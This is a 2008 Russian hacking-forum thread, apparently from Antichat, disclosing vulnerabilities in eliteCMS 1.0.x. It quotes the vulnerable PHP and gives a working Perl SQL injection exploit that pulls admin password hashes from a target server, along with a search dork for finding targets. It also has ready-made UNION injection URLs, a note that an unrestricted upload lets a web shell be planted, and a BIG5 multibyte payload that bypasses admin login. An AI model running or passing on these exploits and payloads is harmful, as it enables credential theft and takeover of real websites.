Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Сценарии/CMF/СMS (https://forum.antichat.xyz/forumdisplay.php?f=114)
-   -   Уязвимости eliteCMS (https://forum.antichat.xyz/showthread.php?t=97399)

Dimi4 22.12.2008 02:21

Уязвимости eliteCMS
 
Вложений: 1
eliteCMS
SQL-inj
Vulnerability code:
PHP код:

function get_page_settings()
{
    global 
$page_settings;
    
$query "SELECT * FROM pages WHERE id = '{$_GET['page']}'";
    
$result mysql_query($query);
    
confirm_query($result);
    
$page_settings mysql_fetch_array($result);
    return 
$page_settings;



Ну и вообщем первый мой сплойт: :)

Код:

#!/usr/bin/perl
system('cls');
 
#*****************************************************************************
#*****************************************************************************
#**    Written by Dimi4,                                                  **
#**    Greetings to antichat && elwaux                                    **
#**    dork:""Powored by Elite CMS"                                        **
#**    version:1.0.x                                                      **
#**    magic_qotes_gpc=OFF                                                **
#**                                                                        **
#*****************************************************************************
# ****************************************************************************
 
use IO::Socket;
 
print "\n +-------------------------------------------------------------+\n";
print " |          eliteCMS 1.0.x Sql-Injection Exploit              |\n";
print " |          By Dimi4                                          |\n";
print " +-------------------------------------------------------------+\n\n";
 
if (@ARGV < 3)
{
print " [i] usage:\r\n";
print "    eliteCMS.pl Server Dir Username\r\n\r\n";
print "    SERVER        - Server where eliteCMS was installed.\r\n";
print "    DIR            - eliteCMS directory or / for parent.\r\n";
print "    Username      - Targer username(default - admin).\r\n";
print "\n [i] Example:\r\n";
print "    eliteCMS.pl 192.168.168.1 / admin2\n";
<stdin>;
exit();
}
 
$serv          = $ARGV[0];
$dir            = $ARGV[1];
$username      = $ARGV[2];
 
 
$serv          =~ s/http:\/\///ge;
$delimit        = "0x336c317433636d353378706c303174";

$sploit = 'http://'.$serv.'/'.
        'index.php?page=1\'+union+select+1,concat'.
        '(user_name,\''.$delimit.'\',h_password)'.
        ',3,4,5,6,7,8,9,10,11+from+users+where+user_name=\''.$username.'\'+'.
        'limit+1,1%23';
 
 
$sock = IO::Socket::INET->new(
                Proto=>"tcp",
                PeerAddr=>"$serv",
                PeerPort=>"80") or die " [-] could not connect to host.\n";
 
print " [+] connecting OK\n";
 
print " [+] sending exploit..\n";
 
print $sock "GET $sploit HTTP/1.1\n";
print $sock "Host: $serv\n\n";
read($sock,my $answer,1000);
$success = 0;
print " [+] In progress...\n";

if ($answer=~ /$delimit/) {
        $answer =~ /$username$delimit(.*)::-::<\/title>/;
                print " [+] Exploit succeeded...\n";
                print ' [+] Targer:  '.$serv."\n";
        print ' [+] Username:  '.$username."\n";
        print ' [+] Password: '.$1."\n";
        exit();
        } else
        { print " [-] FAILED!\n"; exit(); }
 
 
 
close($sock);


<stdin>;
exit();

Спасибо elwaux за помощь в перел)

Всё те же иньекции:
Код:

http://127.0.0.1/eliteCMS/index.php?page=1'+union+select+1,concat(user_name,0x20336c317433636d353378706c30317420,h_password),3,4,5,6,7,8,9,10,11+from+users+limit+1,1/*
Админка:
На первой страницы виден полный путь. Если хватит прав можно залить шелл через скулю.
Скули в админке:
Код:

http://127.0.0.1/eliteCMS/admin/edit_page.php?page=3+union+select+1,2,3,4,5,6,7,8,9,10,11/*
SQL-inj
Vulnerability code:

PHP код:

function get_page($page_id)
{
    
$query "SELECT * FROM ";
    
$query .= "posts ";
    
$query .= "WHERE page_id =" $page_id " ";
    
$query .= "AND active = 1 ";
    
$query .= " ORDER BY position";
    
$result mysql_query($query);
    
$check mysql_num_rows($result);
    
confirm_query($result);
    if (
$check != 0) {
        while (
$page mysql_fetch_array($result)) {
            echo 
"<h1>" $page['title'] . "</h1>\n";
            echo 
"<p>" $page['content'] . "</p>\n";

        } 

URL:
Код:

http://127.0.0.1/eliteCMS/admin/edit_post.php?page=1&post=1+union+select+1,2,3,4,user(),version()/*
SQL-inj
Vulnerability code:

PHP код:

function get_sidebar($page_id)
{
    
$query "SELECT * FROM ";
    
$query .= "sidebar ";
    
$query .= "WHERE page_id =" $page_id " ";
    
//$query .= "AND active = 1 ";
    
$query .= " ORDER BY position";
    
$result mysql_query($query);
    
confirm_query($result);
    while (
$sidebar mysql_fetch_array($result)) {
        echo 
"<h2>" $sidebar['title'] . "</h2>";
        echo 
"<p>" $sidebar['content'] . "</p>";
        echo 
"<p></p>";

    }



URL:
Код:

http://127.0.0.1/eliteCMS/admin/dit_sidebar.php?page=1&sidebar=2+union+select+1,2,3,user(),version()/*
Форум пробелы в експлойт подобавлял :(
Рабочий в атаче
Такс.. Иду спать.. потом допишу :)

Dimi4 22.12.2008 02:26

Заливка шелла:

Код:
PHP код:

    if (!file_exists($upload_path)) {

        if (
$_FILES['file']['size'] < 100000000000 && $_FILES['file']['size'] > 0) {

            if (
$_FILES['file']['error']) {
                echo 
"Error: " $_FILES['file']['error'];
            } else {
                
// Success!

                
$successMSG "File successfully uploaded."

Нет проверки на расширение))

Шелл:
Код:

http://127.0.0.1/eliteCMS/uploads/shell.php

Dimi4 22.12.2008 21:53

Обход авторизации в админке.
Так как даная цмс еще не очень популярна (надеюсь не станет ей до исправления багов :D ) такой случай очень редкий.

Требования:

PHP: < v4.3.0
magic_qoutes_gpc: OFF
character_set_results: BIG5 (Или любая другая мультибайтовая кодировка - SJIS, BIG5 и GBK)

Уязвимая функция (functions.php)

PHP код:

function mysql_prep($value)
{
    
$magic_quotes_active get_magic_quotes_gpc();
    
$new_enough_php function_exists("mysql_real_escape_string"); // i.e. PHP >= v4.3.0
    
if ($new_enough_php) { // PHP v4.3.0 or higher
        // undo any magic quote effects so mysql_real_escape_string can do the work
        
if ($magic_quotes_active) {
            
$value stripslashes($value);
        }
        
$value mysql_real_escape_string($value);
    } else { 
// before PHP v4.3.0
       
        
if (!$magic_quotes_active) {
            
$value addslashes($value);
        }
       
    }
    return 
$value;


PHP код:

addslashes() 

Перед одинарными и двойными кавычками, беклсешем, нуллбайтом добавляет обратный слэш. В мультибайтовой BIG5 кодировке 0xa327 - неверный символ, но после слеширования, у - 0xa35c27. 0xa35c для BIG5 корректный символ. Но и 0х27 станет отдельным и кавычка не будет экранироватся.

Другой уязвимый кусок кода:
PHP код:

$user_name mysql_prep($_POST['user_name']);
        
$password mysql_prep($_POST['password']);
        
$h_password sha1($password);

        
$query " SELECT id, user_name, s_admin  ";
        
$query .= " FROM users ";
        
$query .= " WHERE user_name = '{$user_name}' ";
        
$query .= " AND h_password = '{$h_password}' ";
        
$query .= " AND active = 1 ";
        
$query .= " LIMIT 1 ";
        
$result mysql_query($query); 

PHP код:

 if (mysql_num_rows($result) == 1) {
            
$valid_user mysql_fetch_array($result);
            
$_SESSION['user_id'] = $valid_user['id'];
            
$_SESSION['user_name'] = $valid_user['user_name'];
            
$_SESSION['s_admin'] = $valid_user['s_admin'];
            
redirect_to("index.php"); 

Пример для пост заголовка на пхп:

PHP код:

$header .= chr(0xa3).chr(0x27).' OR 1=1 /*'

Sql запрос примет такой вид:

PHP код:

$query " SELECT id, user_name, s_admin FROM users WHERE user_name = 'значение+0xa35c+' OR 1=1 /*' AND h_password = '{$h_password}' AND active = 1 LIMIT 1 "

Таким образом пройдем авторизацию :)

Спасибо [Raz0r] За статью в блоге
Спасибо The:Paradox за експлойт для SMF <= 1.1.4


Время: 01:24